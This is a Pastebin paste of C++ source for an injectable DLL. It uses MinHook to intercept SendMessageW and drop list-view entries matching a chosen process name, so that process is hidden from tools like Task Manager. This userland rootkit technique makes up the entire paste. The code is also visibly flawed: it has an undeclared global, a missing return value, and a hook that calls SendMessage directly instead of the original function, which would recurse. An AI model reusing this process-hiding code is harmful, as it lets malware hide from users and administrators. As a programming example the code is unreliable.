Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "stdafx.h"
- #include "C:\Users\Androide\Desktop\minhook\Dynamic\MinHook_133_src\include\MinHook.h"//MHook header
- #include <iostream>
- #include <windows.h>
- #include <Commctrl.h>
- #include <conio.h>
- using namespace std;
- typedef void (*SENDMESSAGEW)();//Typedef for the hooked function
- static SENDMESSAGEW Basewritefoobar;//Backup of the originak fonction
- static const wchar_t *hiddenprocess=L"";
- LRESULT WINAPI BSSSendMessageW(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)
- {
- if ( msg == LVM_INSERTITEMW || msg == LVM_SETITEMW)//Intercepts LVM_INSERTITEM and LVM_SETITEM messages
- {
- if (!lstrcmpW(((LVITEMW*)lparam)->pszText, hiddenprocess))//The lparam is a LVITEM* struct.
- {
- return 0;//If the item name is the same as process we want to hide, we simply return 0 (and we do not call the real SendMessage function.
- }
- //return 0;
- }
- return SendMessage(hwnd, msg, wparam, lparam);//Calls the real SendMessage function.
- }
- static bool Hook();
- template <typename T>
- inline MH_STATUS MH_CreateHookEx(void* target, void* const base, T** original)
- {
- return MH_CreateHook(target, base, reinterpret_cast<void**>(original));
- }
- extern "C" __declspec (dllexport) void __cdecl SendWrite()
- {
- }
- DWORD CALLBACK SetupHook(PVOID) {
- // get the main thread ID
- HANDLE hSemaphore = ::OpenSemaphore(SEMAPHORE_ALL_ACCESS, FALSE, L"InjectedMainThread");
- assert(hSemaphore);
- LONG id = 0;
- ::ReleaseSemaphore(hSemaphore, 1, &id);
- assert(id != 0);
- // wait a bit for the main thread to be ready for input
- ::Sleep(100);
- // set up the hook
- if (!Hook())//Hook SendMessage
- {
- cout << "Hook failed" << endl;
- return 1;
- }
- }
- BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, PVOID) {
- switch (reason) {
- case DLL_PROCESS_ATTACH:
- {
- g_hInstDll = hModule;
- // create a separate thread to set up the hook
- ::CreateThread(nullptr, 0, SetupHook, nullptr, 0, nullptr);
- break;
- }
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
- bool Hook()
- {
- if (MH_Initialize() != MH_OK)
- {
- return false;
- }
- if (MH_CreateHookEx((void*)&SendMessageW, (void*)&BSSSendMessageW, &Basewritefoobar) != MH_OK)
- {
- return FALSE;
- }
- return MH_EnableHook((void*)&SendMessageW) == MH_OK;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement